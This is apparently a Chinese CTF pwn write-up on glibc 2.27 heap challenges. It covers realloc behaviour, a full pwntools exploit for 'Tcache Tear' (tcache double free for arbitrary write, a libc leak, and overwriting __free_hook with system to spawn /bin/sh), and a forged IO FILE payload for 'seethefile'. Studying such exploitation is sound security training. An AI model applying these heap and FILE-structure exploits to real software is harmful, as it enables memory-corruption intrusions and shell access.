更新中…
Re-alloc
主要学习realloc函数的使用
利用realloc可以实现malloc,edit和free(uaf)
realloc
1 2 3 4 5 6
| realloc(ptr,size) 1.ptr == 0 : malloc(size) 2.ptr != 0 && size == 0 : free(ptr) 3.ptr != 0 && size == old_size : edit(ptr) 4.ptr != 0 && size < old_size : edit(ptr) and free(remainder) 5.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr
|
16进制字符串转数字
Tcache Tear
libc是2.27的,存在tcache机制。
除了pie,其他保护都开启了
本机环境与给定的libc不同,故需要如下语句:
1
| p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})
|
程序流程
- 输入bss变量name
- add一个大小小于0xff的chunk,地址保存在ptr中
- free(ptr),至多8次【存在uaf】
- 打印name
利用
任意地址写
1 2 3 4 5 6 7
| def aaw(len,addr,data): malloc(len,'aaaa') free() free() malloc(len,p64(addr)) malloc(len,'aaaa') malloc(len,data)
|
利用任意地址写成功修改name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * p = process(["./tcache_tear"],env={"LD_PRELOAD":"/usr/local/glibc-2.27/lib/libc-2.27.so"})
elf = ELF('/usr/local/glibc-2.27/lib/libc-2.27.so') context(arch='amd64',os='linux',log_level='debug')
sla = lambda delim,data : p.sendlineafter(delim,data) cmd = lambda choice : sla("Your choice :",str(choice)) init = lambda name : sla("Name:",name) malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data)) free = lambda : cmd(2) info = lambda : cmd(3)
def aaw(len,addr,data): malloc(len,'aaaa') free() free() malloc(len,p64(addr)) malloc(len,'aaaa') malloc(len,data)
init("winter") info() name_bss = 0x602060 aaw(0x20,name_bss,"admin") info() p.recv()
|
构造unsortedbin
因为要检查释放的chunk和nextchunk的标志位是否为1。【标志位是下一个chunk的大小&1】,所以,我们需要构造chunk+两个绕过检验的chunk
chunk1(0x501) |
chunk2(0x21) |
chunk3(0x21) |
chunk2的1检验chunk1,chunk3的1检验chunk2。
1 2 3 4 5
| init(p64(0)+p64(0x501)) aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a') free()
|
得到到main_arena,计算libc基址【得到的main_arena-本次libc机制得到偏移】
覆盖free_hook为system
1 2 3 4 5 6
| libc_base = main_arena - 0x3EBCA0 system = libc_base + libc.symbols['system'] free_hook = libc_base + libc.symbols['__free_hook'] print("free_hook:"+hex(free_hook))
aaw(0x70,free_hook,p64(system))
|
最后malloc一个内容为system参数的chunk,free即可getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * p = process(["./tcache_tear"],env={"LD_PRELOAD":"./tw_libc-2.27.so"})
libc = ELF('./tw_libc-2.27.so') context(arch='amd64',os='linux',log_level='debug')
sla = lambda delim,data : p.sendlineafter(delim,data) cmd = lambda choice : sla("Your choice :",str(choice)) init = lambda name : sla("Name:",name) malloc = lambda size,data : (cmd(1),sla("Size:",str(size)),sla("Data:",data)) free = lambda : cmd(2) info = lambda : cmd(3)
def aaw(len,addr,data): malloc(len,'aaaa') free() free() malloc(len,p64(addr)) malloc(len,'aaaa') malloc(len,data)
name_bss = 0x00602060
init(p64(0)+p64(0x501)) aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) aaw(0x60,name_bss+0x10,'a') free()
info() p.recvuntil("Name :");p.recv(0x10) main_arena = u64(p.recv(0x8)) gdb.attach(p)
libc_base = main_arena - 0x3EBCA0 system = libc_base + libc.symbols['system'] free_hook = libc_base + libc.symbols['__free_hook'] print("free_hook:"+hex(free_hook))
aaw(0x70,free_hook,p64(system)) malloc(0x40,"/bin/sh\x00") free() p.interactive()
|
参考:和媳妇一起学Pwn 之 Tcache Tear
seethefile
栈溢出+io file的题
输入name的时候没有长度限制,栈溢出,而name下面是fp变量,可以覆盖
泄漏libc
因为可以直接读文件,所以/proc/id(self)/maps
可以直接读
伪造IO FILE结构
1 2 3 4 5 6 7 8 9 10 11
| fakeFILE = 0x0804B284 name = 'a'*0x20 name += p32(fakeFILE)
FILE = p32(0xffffdfff) FILE += ";/bin/sh" FILE = FILE.ljust(0x94,'\x00')
name += FILE name += p32(fakeFILE+0x98) name += p32(system)*3
|
flag获取
下面有这些文件
执行get_flag可以获得,查看源码可得需要输入字符串Give me the flag
参考: